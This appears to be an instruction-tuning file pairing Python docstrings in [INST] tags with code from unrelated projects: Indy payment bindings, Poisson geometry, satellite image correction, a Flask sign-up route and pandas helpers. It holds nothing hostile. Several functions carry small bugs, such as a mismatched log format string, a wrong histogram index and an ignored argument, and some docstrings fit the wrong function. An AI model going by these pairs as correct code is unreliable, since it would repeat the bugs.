[INST] Modifies Indy request by adding information how to pay fees for this transaction
according to selected payment method.
Payment selection is performed by looking to o
This method consumes set of UTXO inputs and outputs. The difference between inputs balance
and outputs balance is the fee for this transaction.
Not that this method also produces correct fee signatures.
Format of inputs is specific for payment method. Usually it should reference payment transaction
with at least one output that corresponds to payment address that user owns.. [/INST] async def add_request_fees(wallet_handle: int,
submitter_did: str,
req_json: str,
inputs_json: str,
outputs_json: str) -> (str, str):
logger = logging.getLogger(__name__)
logger.debug(
"add_request_fees: >>> wallet_handle: %r, submitter_did: %r, req_json: %r, inputs_json: %r, outputs_json: %r",
wallet_handle,
submitter_did,
req_json,
inputs_json,
outputs_json)
if not hasattr(add_request_fees, "cb"):
logger.debug("add_request_fees: Creating callback")
add_request_fees.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))
c_wallet_handle = c_int32(wallet_handle)
c_submitter_did = c_char_p(submitter_did.encode('utf-8'))
c_req_json = c_char_p(req_json.encode('utf-8'))
c_inputs_json = c_char_p(inputs_json.encode('utf-8'))
c_outputs_json = c_char_p(outputs_json.encode('utf-8'))
(req_with_fees_json, payment_method) = await do_call('indy_add_request_fees',
c_wallet_handle,
c_submitter_did,
c_req_json,
c_inputs_json,
c_outputs_json,
add_request_fees.cb)
res = (req_with_fees_json.decode(), payment_method.decode())
logger.debug("add_request_fees: <<< res: %r", res)
return res
[INST] Parses response for Indy request with fees.. [/INST] async def parse_response_with_fees(payment_method: str,
resp_json: str) -> str:
logger = logging.getLogger(__name__)
logger.debug("parse_response_with_fees: >>> payment_method: %r, resp_json: %r",
payment_method,
resp_json)
if not hasattr(parse_response_with_fees, "cb"):
logger.debug("parse_response_with_fees: Creating callback")
parse_response_with_fees.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))
c_payment_method = c_char_p(payment_method.encode('utf-8'))
c_resp_json = c_char_p(resp_json.encode('utf-8'))
utxo_json = await do_call('indy_parse_response_with_fees',
c_payment_method,
c_resp_json,
parse_response_with_fees.cb)
res = utxo_json.decode()
logger.debug("parse_response_with_fees: <<< res: %r", res)
return res
[INST] Builds Indy request for getting UTXO list for payment address
according to this payment method.. [/INST] async def build_get_utxo_request(wallet_handle: int,
submitter_did: str,
payment_address: str) -> (str, str):
logger = logging.getLogger(__name__)
logger.debug("build_get_utxo_request: >>> wallet_handle: %r, submitter_did: %r, payment_address: %r",
wallet_handle,
submitter_did,
payment_address)
if not hasattr(build_get_utxo_request, "cb"):
logger.debug("build_get_utxo_request: Creating callback")
build_get_utxo_request.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))
c_wallet_handle = c_int32(wallet_handle)
c_submitter_did = c_char_p(submitter_did.encode('utf-8'))
c_payment_address = c_char_p(payment_address.encode('utf-8'))
(get_utxo_txn_json, payment_method) = await do_call('indy_build_get_utxo_request',
c_wallet_handle,
c_submitter_did,
c_payment_address,
build_get_utxo_request.cb)
res = (get_utxo_txn_json.decode(), payment_method.decode())
logger.debug("build_get_utxo_request: <<< res: %r", res)
return res
[INST] Parses response for Indy request for getting UTXO list.. [/INST] async def parse_get_utxo_response(payment_method: str,
resp_json: str) -> str:
logger = logging.getLogger(__name__)
logger.debug("parse_get_utxo_response: >>> payment_method: %r, resp_json: %r",
payment_method,
resp_json)
if not hasattr(parse_get_utxo_response, "cb"):
logger.debug("parse_get_utxo_response: Creating callback")
parse_get_utxo_response.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))
c_payment_method = c_char_p(payment_method.encode('utf-8'))
c_resp_json = c_char_p(resp_json.encode('utf-8'))
utxo_json = await do_call('indy_parse_get_utxo_response',
c_payment_method,
c_resp_json,
parse_get_utxo_response.cb)
res = utxo_json.decode()
logger.debug("parse_get_utxo_response: <<< res: %r", res)
return res
[INST] Builds Indy request for doing tokens payment according to this payment method.
This method consumes set of UTXO inputs and outputs.
Format of inputs is specific for payment method. Usually it should reference payment transaction
with at least one output that corresponds to payment address that user owns.. [/INST] async def build_payment_req(wallet_handle: int,
submitter_did: str,
inputs_json: str,
outputs_json: str) -> (str, str):
logger = logging.getLogger(__name__)
logger.debug("build_payment_req: >>> wallet_handle: %r, submitter_did: %r, inputs_json: %r, outputs_json: %r",
wallet_handle,
submitter_did,
inputs_json,
outputs_json)
if not hasattr(build_payment_req, "cb"):
logger.debug("build_payment_req: Creating callback")
build_payment_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))
c_wallet_handle = c_int32(wallet_handle)
c_submitter_did = c_char_p(submitter_did.encode('utf-8'))
c_inputs_json = c_char_p(inputs_json.encode('utf-8'))
c_outputs_json = c_char_p(outputs_json.encode('utf-8'))
(payment_req_json, payment_method) = await do_call('indy_build_payment_req',
c_wallet_handle,
c_submitter_did,
c_inputs_json,
c_outputs_json,
build_payment_req.cb)
res = (payment_req_json.decode(), payment_method.decode())
logger.debug("build_payment_req: <<< res: %r", res)
return res
[INST] Parses response for Indy request for getting UTXO list.. [/INST] async def parse_payment_response(payment_method: str,
resp_json: str) -> str:
logger = logging.getLogger(__name__)
logger.debug("parse_payment_response: >>> wallet_handle: %r, payment_method: %r, resp_json: %r",
payment_method,
resp_json)
if not hasattr(parse_payment_response, "cb"):
logger.debug("parse_payment_response: Creating callback")
parse_payment_response.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))
c_payment_method = c_char_p(payment_method.encode('utf-8'))
c_resp_json = c_char_p(resp_json.encode('utf-8'))
utxo_json = await do_call('indy_parse_payment_response',
c_payment_method,
c_resp_json,
parse_payment_response.cb)
res = utxo_json.decode()
logger.debug("parse_payment_response: <<< res: %r", res)
return res
[INST] Builds Indy request for doing tokens minting according to this payment method.
This method consumes set of UTXO inputs and outputs.
Format of inputs is specific for payment method. Usually it should reference payment transaction
with at least one output that corresponds to payment address that user owns.. [/INST] async def build_mint_req(wallet_handle: int,
submitter_did: str,
outputs_json: str) -> (str, str):
logger = logging.getLogger(__name__)
logger.debug("build_mint_req: >>> wallet_handle: %r, submitter_did: %r, outputs_json: %r",
wallet_handle,
submitter_did,
outputs_json)
if not hasattr(build_mint_req, "cb"):
logger.debug("build_mint_req: Creating callback")
build_mint_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))
c_wallet_handle = c_int32(wallet_handle)
c_submitter_did = c_char_p(submitter_did.encode('utf-8'))
c_outputs_json = c_char_p(outputs_json.encode('utf-8'))
(mint_req_json, payment_method) = await do_call('indy_build_mint_req',
c_wallet_handle,
c_submitter_did,
c_outputs_json,
build_mint_req.cb)
res = (mint_req_json.decode(), payment_method.decode())
logger.debug("build_mint_req: <<< res: %r", res)
return res
[INST] Builds Indy request for setting fees for transactions in the ledger. [/INST] async def build_set_txn_fees_req(wallet_handle: int,
submitter_did: str,
payment_method: str,
fees_json: str) -> str:
logger = logging.getLogger(__name__)
logger.debug("build_set_txn_fees_req: >>> wallet_handle: %r, submitter_did: %r, payment_method: %r, fees_json: %r",
wallet_handle,
submitter_did,
payment_method,
fees_json)
if not hasattr(build_set_txn_fees_req, "cb"):
logger.debug("build_set_txn_fees_req: Creating callback")
build_set_txn_fees_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))
c_wallet_handle = c_int32(wallet_handle)
c_submitter_did = c_char_p(submitter_did.encode('utf-8'))
c_payment_method = c_char_p(payment_method.encode('utf-8'))
c_fees_json = c_char_p(fees_json.encode('utf-8'))
set_txn_fees_json = await do_call('indy_build_set_txn_fees_req',
c_wallet_handle,
c_submitter_did,
c_payment_method,
c_fees_json,
build_set_txn_fees_req.cb)
res = set_txn_fees_json.decode()
logger.debug("build_set_txn_fees_req: <<< res: %r", res)
return res
[INST] Builds Indy request for getting fees for transactions in the ledger. [/INST] async def build_get_txn_fees_req(wallet_handle: int,
submitter_did: str,
payment_method: str) -> str:
logger = logging.getLogger(__name__)
logger.debug("build_get_txn_fees_req: >>> wallet_handle: %r, submitter_did: %r, payment_method: %r",
wallet_handle,
submitter_did,
payment_method)
if not hasattr(build_get_txn_fees_req, "cb"):
logger.debug("build_get_txn_fees_req: Creating callback")
build_get_txn_fees_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))
c_wallet_handle = c_int32(wallet_handle)
c_submitter_did = c_char_p(submitter_did.encode('utf-8'))
c_payment_method = c_char_p(payment_method.encode('utf-8'))
get_txn_fees_json = await do_call('indy_build_get_txn_fees_req',
c_wallet_handle,
c_submitter_did,
c_payment_method,
build_get_txn_fees_req.cb)
res = get_txn_fees_json.decode()
logger.debug("build_get_txn_fees_req: <<< res: %r", res)
return res
[INST] Read a csv reader iterator until a blank line is found.. [/INST] def csv_record_reader(csv_reader):
prev_row_blank = True
for row in csv_reader:
if not (len(row) == 0):
if row[0].startswith('#'):
continue
yield [cell.strip() for cell in row]
prev_row_blank = False
elif not prev_row_blank:
return
[INST] Read a reader iterator and return a list of dictionaries, each including column name and value.. [/INST] def dataframe(reader, columns):
df = []
for row in reader:
df.append(dict(zip(columns, row)))
return df
[INST] Returns a standard warning that can be placed at the top of each
generated _Fortran_ include file.. [/INST] def header():
return """
! -------------------
! W A R N I N G
! -------------------
!
! This code fragment is automatically generated by MAPL_GridCompSpecs_ACG.
! Please DO NOT edit it. Any modification made in here will be overwritten
! next time this file is auto-generated. Instead, enter your additions
! or deletions in the .rc file in the src tree.
!
"""
[INST] This method check if the dimension variable is valid for the this class. [/INST] def validate_dimension(dim):
if not isinstance(dim, int):
raise DimensionError(F"{dim} is not int")
if dim < 2:
raise DimensionError(F"{dim} < 2")
else:
return dim
[INST] Constructs the matrix of a 2-contravariant tensor field or bivector field.
Parameters. [/INST] def bivector_to_matrix(self, bivector, latex=False):
bivector_matrix = sym.zeros(self.dim + 1)
for e in bivector:
if len(set(e)) < len(e):
raise MultivectorError(F"repeated indexes {e} in {bivector}")
if len(tuple(filter(lambda x: (x <= 0), e))) > 0:
raise MultivectorError(F"invalid key {e} in {bivector}")
bivector_matrix[e] = bivector[e]
swap_e = e[::-1]
bivector_matrix[swap_e] = (-1) * bivector_matrix[e]
return sym.latex(bivector_matrix) if latex else bivector_matrix[1:, 1:]
[INST] Check if a differential 1-form alpha belongs to the kernel of a given Poisson bivector field,
that is check if P#(alpha) = 0
Parameters. [/INST] def is_in_kernel(self, bivector, one_form):
image = self.sharp_morphism(bivector, one_form)
if not isinstance(image, dict):
return image
return False if bool(image) else True
[INST] Check if a homogeneous Poisson bivector field is unimodular
or not.
Parameters. [/INST] def is_unimodular_homogeneous(self, bivector):
for key in bivector:
if sym.homogeneous_order(bivector[key], *self.coords) is None:
msg = f'{key}: {bivector[key]} is not a polynomial homogeneous with respect to {self.coordinates}'
raise Nonhomogeneous(msg)
if sym.homogeneous_order(bivector[key], *self.coords) < 0:
msg = f'{key}: {bivector[key]} is not a polynomial homogeneous with respect to {self.coordinates}'
raise Nonhomogeneous(msg)
mod_vf = self.modular_vf(bivector, '1')
if not isinstance(mod_vf, dict):
return mod_vf
return False if bool(mod_vf) else True
[INST] This method compute the Gauge transformation of a Poisson bivector field.
Parameters. [/INST] def gauge_transformation(self, bivector, two_form, gauge_biv=True, det=False, latex=False):
if not gauge_biv and not det:
return {}
bivector_matrix = self.bivector_to_matrix(bivector)
two_form_matrix = self.bivector_to_matrix(two_form)
if not isinstance(bivector_matrix, sym.matrices.dense.MutableDenseMatrix):
return bivector_matrix
if not isinstance(two_form_matrix, sym.matrices.dense.MutableDenseMatrix):
return two_form_matrix
I_plus_deltas = [sym.eye(self.dim) + two_form_matrix.col(0) * ((-1) * bivector_matrix.row(0))]
for k in range(1, self.dim - 1):
I_plus_deltas.append(I_plus_deltas[k - 1] + two_form_matrix.col(k) * ((-1) * bivector_matrix.row(k)))
adj_I_deltas = [sym.Matrix.adjugate(e) for e in I_plus_deltas]
viT_adj_I_deltas_ui = [(((-1) * bivector_matrix.row(i)) * adj_I_deltas[i-1] * two_form_matrix.col(i))[0] for i in range(1, self.dim)]
sum_viT_adj_I_deltas_ui = sum(viT_adj_I_deltas_ui)
gauge_det = 1 + (((-1) * bivector_matrix.row(0)) * two_form_matrix.col(0))[0] + sum_viT_adj_I_deltas_ui
if det and not gauge_biv:
if latex:
return sym.latex(gauge_det)
return f"{gauge_det}"
gauge_det = sym.simplify(gauge_det)
if gauge_det == 0:
return False
BP = two_form_matrix * bivector_matrix
I_minus_BP = sym.eye(self.dim) - BP
adj_I_BP = sym.Matrix.adjugate(I_minus_BP)
inv_I_BP = (1 / gauge_det) * adj_I_BP
gauge_matrix = bivector_matrix * inv_I_BP
gauge_matrix = sym.matrices.SparseMatrix(gauge_matrix)
gauge_matrix_RL = gauge_matrix.RL
sym_gauge_bivector = {(e[0] + 1, e[1] + 1): e[2] for e in gauge_matrix_RL if e[0] < e[1]}
str_gauge_bivector = {(e[0] + 1, e[1] + 1): f"{e[2]}" for e in gauge_matrix_RL if e[0] < e[1]}
if det:
if latex:
return sym.latex(sym_gauge_bivector), sym.latex(gauge_det)
return str_gauge_bivector, f"{gauge_det}"
if latex:
return sym.latex(sym_gauge_bivector)
return str_gauge_bivector
[INST] Calculates a normal form for Lie-Poisson bivector fields on R^3 modulo linear isomorphisms.
Parameters. [/INST] def linear_normal_form_R3(self, bivector, latex=False):
for key in bivector:
if sym.homogeneous_order(bivector[key], *self.coords) is None:
msg = f'{key}: {bivector[key]} is not a linear polynomial with respect to {self.coordinates}'
raise Nonlinear(msg)
if sym.homogeneous_order(bivector[key], *self.coords) != 1:
msg = f'{key}: {bivector[key]} is not a linear polynomial with respect to {self.coordinates}'
raise Nonlinear(msg)
if not bool(bivector):
return {}
for e in bivector:
if len(e) != 2 or len(tuple(filter(lambda x: (x <= 0), e))) > 0:
raise MultivectorError(F'invalid key {e} in {bivector}')
if len(set(e)) < len(e):
raise MultivectorError(F'repeated indexes {e} in {bivector}')
if [bivector[e].find(f'{self.variable}') for e in bivector].count(-1) != 0:
return {}
bivector = sym.sympify(bivector)
pair_E_P = []
for e in bivector:
if sym.simplify(e[0] * e[1] - 6) == 0:
pair_E_P.append(-self.coords[0] * bivector[e])
if sym.simplify(e[0] * e[1] - 3) == 0:
pair_E_P.append(self.coords[1] * bivector[e])
if sym.simplify(e[0] * e[1] - 2) == 0:
pair_E_P.append(-self.coords[2] * bivector[e])
pair_E_P = sym.sympify('1/2') * sum(pair_E_P)
hessian_pair_E_P = sym.sympify('1/2') * sym.hessian(pair_E_P, self.coords[:3])
rank_hess = hessian_pair_E_P.rank()
egvals_hess = [sym.re(e) for e in hessian_pair_E_P.eigenvals(rational=True, multiple=True)]
sign_hess = sum([sym.sign(e) for e in egvals_hess])
if self.is_unimodular_homogeneous(bivector):
if sym.simplify(rank_hess - 3) == 0:
if sym.simplify(sym.Abs(sign_hess) - 3) == 0:
if latex:
return sym.latex({
(1, 2): F'{self.coords[2]}',
(1, 3): F'-{self.coords[1]}',
(2, 3): F'{self.coords[0]}'
})
return {
(1, 2): F'{self.coords[2]}',
(1, 3): F'-{self.coords[1]}',
(2, 3): F'{self.coords[0]}',
}
if sym.simplify(sym.Abs(sign_hess) - 1) == 0:
if latex:
return sym.latex({
(1, 2): F'-{self.coords[2]}',
(1, 3): F'-{self.coords[1]}',
(2, 3): F'{self.coords[0]}',
})
return {
(1, 2): F'-{self.coords[2]}',
(1, 3): F'-{self.coords[1]}',
(2, 3): F'{self.coords[0]}',
}
if sym.simplify(rank_hess - 2) == 0:
if sym.simplify(sym.Abs(sign_hess) - 2) == 0:
if latex:
return sym.latex({(1, 3): F'-{self.coords[1]}', (2, 3): F'{self.coords[0]}'})
return {(1, 3): F'-{self.coords[1]}', (2, 3): F'{self.coords[0]}'}
if sign_hess == 0:
if latex:
return sym.latex({(1, 3): F'{self.coords[1]}', (2, 3): F'{self.coords[0]}'})
return {(1, 3): F'{self.coords[1]}', (2, 3): F'{self.coords[0]}'}
if sym.simplify(rank_hess - 1) == 0:
if latex:
return sym.latex({(2, 3): F'{self.coords[0]}'})
return {(2, 3): F'{self.coords[0]}'}
if rank_hess == 0:
if latex:
return sym.latex({(1, 3): F'{self.coords[0]}', (2, 3): F'{self.coords[1]}'})
return {(1, 3): F'{self.coords[0]}', (2, 3): F'{self.coords[1]}'}
if sym.simplify(rank_hess - 2) == 0:
if sym.simplify(sym.Abs(sign_hess) - 2) == 0:
if latex:
return sym.latex({
(1, 3): F'{self.coords[0]} - 4*a*{self.coords[1]}',
(2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}',
})
return {
(1, 3): F'{self.coords[0]} - 4*a*{self.coords[1]}',
(2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}',
}
if sign_hess == 0:
if latex:
return sym.latex({
(1, 3): F'{self.coords[0]} + 4*a*{self.coords[1]}',
(2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}'
})
return {
(1, 3): F'{self.coords[0]} + 4*a*{self.coords[1]}',
(2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}'
}
if sym.simplify(rank_hess - 1) == 0:
if latex:
return sym.latex({(1, 3): f'{self.coords[0]}', (2, 3): f'4*{self.coords[0]} + {self.coords[1]}'})
return {(1, 3): f'{self.coords[0]}', (2, 3): f'4*{self.coords[0]} + {self.coords[1]}'}
return {}
[INST] Determines if two Lie-Poisson bivector fields on R^3 are isomorphic or not.
Parameters. [/INST] def isomorphic_lie_poisson_R3(self, bivector_1, bivector_2):
normal_1 = self.linear_normal_form_R3(bivector_1)
normal_2 = self.linear_normal_form_R3(bivector_2)
if not bool(normal_1) and not bool(normal_2):
return True
if not isinstance(normal_1, dict):
return normal_1
if not isinstance(normal_2, dict):
return normal_2
if len(normal_1) - len(normal_2) != 0:
return False
if len(normal_1) - 1 == 0 and len(normal_2) - 1 == 0:
return True
normal_1 = sym.sympify(normal_1)
normal_2 = sym.sympify(normal_2)
if len(normal_1) - 2 == 0 and len(normal_2) - 2 == 0:
compare = [1 for e in normal_1 if sym.simplify(normal_1[e] - normal_2[e]) != 0]
return True if len(compare) == 0 else False
if len(normal_1) - 3 == 0 and len(normal_2) - 3 == 0:
return True if sym.simplify(normal_1[(1, 2)] - normal_2[(1, 2)]) == 0 else False
return False
[INST] Calculates de Schouten-Nijenhuis bracket of a given bivector field with himself, that is [P,P]
where [,] denote the Schouten bracket for multivector fields.
Parameters. [/INST] def jacobiator(self, bivector, latex=False):
jac = self.coboundary_operator(bivector, bivector, latex=latex)
if not isinstance(jac, dict):
return jac
return jac
[INST] Calculates de Schouten-Nijenhuis bracket of a given bivector field with himself,
that is calculates [P,P]_SN.
Parameters. [/INST] def is_poisson_bivector(self, bivector):
jac = self.coboundary_operator(bivector, bivector)
if not isinstance(jac, dict):
return jac
return False if bool(jac) else True
[INST] Check if a vector field is a Poisson vector field of a given Poisson bivector field, that is calculate if
[Z,P] = 0, where Z is vector_field variable and P is bivector variable.
Parameters. [/INST] def is_poisson_vf(self, bivector, vector_field):
sch_biv_vf = self.coboundary_operator(bivector, vector_field)
if not isinstance(sch_biv_vf, dict):
return sch_biv_vf
return False if bool(sch_biv_vf) else True
[INST] Check if the sum of two Poisson bivector fields P1 and P2 is a Poisson bivector field, that is
calculate if [P1,P2] = 0
Parameters. [/INST] def is_poisson_pair(self, bivector_1, bivector_2):
sch_biv1_biv2 = self.coboundary_operator(bivector_1, bivector_2)
if not isinstance(sch_biv1_biv2, dict):
return sch_biv1_biv2
return False if bool(sch_biv1_biv2) else True
[INST] scan event, It will be triggered when you scan the qrcode to login.
And it will not be triggered when you have logined. [/INST] async def on_scan(self, status: ScanStatus, qr_code: Optional[str] = None,
data: Optional[str] = None):
contact = self.Contact.load(self.contact_id)
await contact.ready()
print(f'user <{contact}> scan status: {status.name} , '
f'qr_code: {qr_code}')
[INST] Calculate the n-th discrete difference along the given axis.. [/INST] def diff(a, n=1, axis=-1):
a = cupy.asanyarray(a)
nd = a.ndim
axis = normalize_axis_index(axis, nd)
slice1 = [slice(None)] * nd
slice2 = [slice(None)] * nd
slice1[axis] = slice(1, None)
slice2[axis] = slice(None, -1)
slice1 = tuple(slice1)
slice2 = tuple(slice2)
op = cupy.not_equal if a.dtype == cupy.bool_ else cupy.subtract
for _ in range(n):
a = op(a[slice1], a[slice2])
return a
[INST] Perform total-variation denoising on n-dimensional images.
Parameters
image : ndarray of ints, uints or floats
Input data to be denoised. `image` can be of any numeric type,
but it is cast into an ndarray of floats for the computation
of the denoised image.
weight : float, optional
Denoising weight. The greater `weight`, the more denoising (at
the expense of fidelity to `input`).
eps : float, optional
Relative difference of the value of the cost function that
determines the stop criterion. The algorithm stops when.
n_iter_max : int, optional
Maximal number of iterations used for the optimization.
multichannel : bool, optional
Apply total-variation denoising separately for each channel. This
option should be true for color images, otherwise the denoising is
also applied in the channels dimension.
Returns
out : ndarray
Denoised image.
Notes
Make sure to set the multichannel parameter appropriately for color images.
The principle of total variation denoising is to minimize the
total variation of the image, which can be roughly described as
the integral of the norm of the image gradient. Total variation
denoising tends to produce "cartoon-like" images, that is,
piecewise-constant images.
This code is an implementation of the algorithm of Rudin, Fatemi and Osher
that was proposed by Chambolle in [1]_.
References
[1] A. Chambolle, An algorithm for total variation minimization and
applications, Journal of Mathematical Imaging and Vision,
Springer, 2004, 20, 89-97.
Examples
2D example on astronaut image.
3D example on synthetic data.. [/INST] def denoise_tv_chambolle(image, weight=0.1, eps=2.e-4, n_iter_max=200,
multichannel=False):
xp = get_array_module(image)
im_type = image.dtype
if not im_type.kind == 'f':
raise NotImplementedError(
"please convert input to floating point type")
if multichannel:
out = xp.zeros_like(image)
for c in range(image.shape[-1]):
out[..., c] = _denoise_tv_chambolle_nd(image[..., c], weight, eps,
n_iter_max, xp=xp)
else:
out = _denoise_tv_chambolle_nd(image, weight, eps, n_iter_max, xp=xp)
return out
[INST] Estimate toa reflectance from radiometric data
ignoring atmospheric, topographic and BRDF effects
Parameters
radata : ndarray shape (nbands, ny, nx)
radiance data
mtdFile : str
path to IMD metadata file
band_ids : sequence of int
band IDs
Returns
ndarray
reflectance. [/INST] def toa_reflectance(radata, mtdFile, band_ids):
return reflectance.radiance_to_reflectance(radata, mtdFile, band_ids=band_ids)
[INST] Calculate TOA reflectance
Parameters
infiles : list of str or str
paths to Landsat 8 band files
or URIs for members in TAR file
or path to TAR file
outfile : str
path to save output to
mtdfile : str
path to metadata file
bands : list of int
bands to extract from TAR file
or bands that the URIs correspond to. [/INST] def toa_reflectance(infiles, outfile, mtdfile, bands):
bandfiles = l8utils.get_bandfiles(infiles, bands)
reflectance.calculate_landsat_reflectance(
src_path=bandfiles,
src_mtl=mtdfile,
dst_path=outfile,
rescale_factor=None,
creation_options={},
bands=bands,
dst_dtype='float32',
processes=1,
pixel_sunangle=True)
[INST] DOS correction using histogram with 2048 bins since WV2 has 11 bit radiometric resolution. [/INST] def do_dos(data):
nonzero = data != 0
n = np.sum(nonzero)
tiny_fraction = n - n * 0.999999
nbands = data.shape[0]
dosDN = np.zeros(nbands)
for i in range(nbands):
hist, edges = np.histogram(
data[i], bins=2048, range=(1, 2048), density=False)
for k in range(1, len(hist)):
if hist[k] - hist[i - 1] > tiny_fraction:
dosDN[i] = k - 1
break
return dosDN
[INST] Adjacency correction
Parameters
Sources
Following Ouaidrari & Vermote 1999: Operational Atmospheric Correction of Landsat TM Data. [/INST] def adjacency_correction(refl, view_z, tau, T_dir, T_dif, pixel_size, radius=1.0):
rolled = False
if np.ndim(view_z) == 1:
rolled = True
refl = np.rollaxis(refl, 0, 3)
u_v = np.cos(np.radians(view_z))
T = 1 - ((1 - T_dif) + (1 - T_dir))
mask = np.isnan(refl)
refl[mask] = np.interp(np.flatnonzero(mask), np.flatnonzero(~mask), refl[~mask])
sigma = radius / pixel_size
adjRefl = scipy.ndimage.filters.gaussian_filter(refl, sigma)
t_d = T_dif - np.exp(-tau / u_v)
refl = (refl * T - adjRefl * t_d) / np.exp(-tau / u_v)
refl[refl < 0.0] = 0.0
refl[mask] = np.nan
if rolled:
return np.rollaxis(refl, 2, 0)
else:
return refl
[INST] Apply radiometric correction to Pleadis image. [/INST] def dn_to_radiance(dndata, mtdFile, band_ids):
metadata = plparser.parse_metadata(mtdFile)
gain_bias = metadata['calibration_values']
gain, bias = (np.array(gain_bias[key])[band_ids] for key in ['gain', 'bias'])
radata = np.zeros(dndata.shape, dtype='float32')
with np.errstate(invalid='ignore'):
for i in range(radata.shape[0]):
radata[i, ...] = dndata[i] / gain[i] + bias[i]
radata[radata < 0] = 0
return radata
[INST] Get target of sensors that have similar sets of bands. [/INST] def sensor_group_bands(sensor):
for target in ['WV', 'PHR', 'L7', 'L8', 'S2', 'WV_4band']:
if sensor_is(sensor, target):
return target
raise ValueError('Unable to get sensor group for \'%s\'.'.format(sensor))
[INST] Sets up Py6S instance and returns job for run_sixs_for_wavelength
Parameters
rcurves_dict : dict
sensor response curve parameters
sixs_params : dict
keyword arguments for setup_sixs
Returns
list of tuples (SixS, float, float, ndarray)
SixS instance
start and env wavelengths
sensor response curve. [/INST] def generate_jobs(rcurves_dict, sixs_params):
mysixs = setup_sixs(**sixs_params)
jobs = []
for rcurve in rcurves_dict['rcurves']:
s = copy.deepcopy(mysixs)
s.wavelength = Py6S.Wavelength(rcurves_dict['start_wv'], rcurves_dict['end_wv'], rcurve)
jobs.append((s, ))
return jobs
[INST] Run sixs for a specific wavelength
Parameters
args : tuple
initialized SixS instance
[additional args passed through]
Returns
dict
correction parameters
list of float
adjacency correction parameters
list
arguments passed through. [/INST] def run_sixs_job(args):
mysixs = args[0]
moreargs = args[1:]
mysixs.run()
xdict = {
'xa': mysixs.outputs.coef_xa,
'xb': mysixs.outputs.coef_xb,
'xc': mysixs.outputs.coef_xc}
adjcorr_params = [
mysixs.geometry.view_z,
mysixs.outputs.optical_depth_total.total,
mysixs.outputs.transmittance_global_gas.upward,
mysixs.outputs.transmittance_total_scattering.upward]
return (xdict, adjcorr_params, moreargs)
[INST] Compute TOA radiance from DigitalGlobe digital numbers
Parameters
dndata : ndarray shape (nbands, ny, nx)
digital numbers data
mtdFile : str
path to IMD metadata file
band_ids : sequence of int
band IDs. [/INST] def dn_to_radiance(dndata, mtdFile, band_ids):
radata = radiance.dn_to_radiance(dndata, mtdFile, band_ids=band_ids)
with np.errstate(invalid='ignore'):
radata[radata < 0] = 0
return radata
[INST] Creates a new user and logs them in. [/INST] def sign_up():
form = SignUpForm()
form['csrf_token'].data = request.cookies['csrf_token']
err = ''
data = request.get_json()
if data['password'] != data['confirm_password']:
err='Password and confirm password must match.'
if form.validate_on_submit():
if err == '':
user = User(
username=form.data['username'],
email=form.data['email'],
firstName=form.data['firstName'],
lastName=form.data['lastName'],
password=form.data['password'],
profileImg=form.data['profileImg']
)
db.session.add(user)
db.session.commit()
login_user(user)
return user.to_dict()
errors = validation_errors_to_error_messages(form.errors)
error_msgs = [txt.split(': ')[1]
for txt in validation_errors_to_error_messages(form.errors)]
if err:
error_msgs.append(err)
return {'errors': error_msgs}, 401
[INST] Return length of string (number of word, seperated by Space).. [/INST] def string_len_w(string):
string_str = str(string)
string_list = string_str.split()
string_len = len(string_list)
return string_len
[INST] Making a list based on entry in one category and if missing adds entry of another Column. [/INST] def helper_list():
empty = []
for i in range(df.shape[0]):
if df["category_parent_id"][i] != 0:
empty.append(df["category_parent_id"][i])
else:
empty.append(df["category_id"][i])
return empty
[INST] based on key value in a column, column with value is added as a column and updated dataframe is returned.. [/INST] def add_parent_name(df, column_name1, column_name2, dictionary):
df[column_name1] = df[column_name2].apply(lambda x: dictionary.get(x))
return df
[INST] Calculating difference between two timepoints and returns it in days. [/INST] def duration(deadline, launched_at):
duration = deadline - launched_at
duration_complete = dt.timedelta(seconds=duration)
return duration_complete.days
[INST] Converts a Column based on given exchange rate, rounds it to two decimal spaces
and returns updated dataframe, e.g.. [/INST] def usd_convert_goal(df, column_name, exchange_rate):
df[column_name] = (df[column_name] * df[exchange_rate]).round(2)
return df
[INST] Creating dataframe and dropping all duplicates, based on a column_name
and keep the last ("newest") duplicate. [/INST] def drop_duplicates(df, column_name):
df = df.drop_duplicates(subset=['id'], keep='last')
return df
[INST] Only create new csv if not already done. [/INST] def read_files():
if not Path("./data/Kickstarter_merged.csv").exists():
all_files = glob.glob(os.path.join(path, "Kickstarter*.csv"))
df_from_each_file = (pd.read_csv(f, sep=',') for f in all_files)
df_merged = pd.concat(df_from_each_file, ignore_index=True)
df_merged.to_csv('./data/Kickstarter_merged.csv')
return pd.read_csv('./data/Kickstarter_merged.csv', index_col=0)
[INST] Almost identical to ``json.load``, except that it produces and iterator.
Which returns zero or more objects that can be decoded by JSON documents
separated by whitespace, or the given string or regex.
``separator`` defaults to zero or more whitespace characters. You can
provide a different, but fixed width, separator if desired.
``max_bufsize`` limit the size of the buffer used to hold unparsed
parts of the document. Must be at least as large as the largest document
in the stream, or a JSONDecodeError will be raised.. [/INST] def load(
fp, *, cls=None, object_hook=None, parse_float=None,
parse_int=None, parse_constant=None, object_pairs_hook=None,
separator=None,
bufsize=1048576,
max_bufsize=float('inf'),
stream_offset=0,
**kw
):
if not hasattr(fp, 'encoding'):
fp = io.TextIOWrapper(fp, encoding='utf8')
cls, kw = _parse_kw(
cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, kw
)
next_pos, pos = get_first_pos_and_next_pos_func(separator)
return iter(DecodeStream(
fp,
cls(**kw),
next_pos,
pos,
kw.get('parse_int'),
kw.get('parse_float'),
bufsize,
max_bufsize,
stream_offset,
))
[INST] Almost identical to ``json.loads``, except that it produces and iterator.
Which returns zero or more objects that are decoded from JSON documents
separated by whitespace, or the given string or regex.
Always decodes bytes and bytearrays as UTF-8. Manually decode if this is
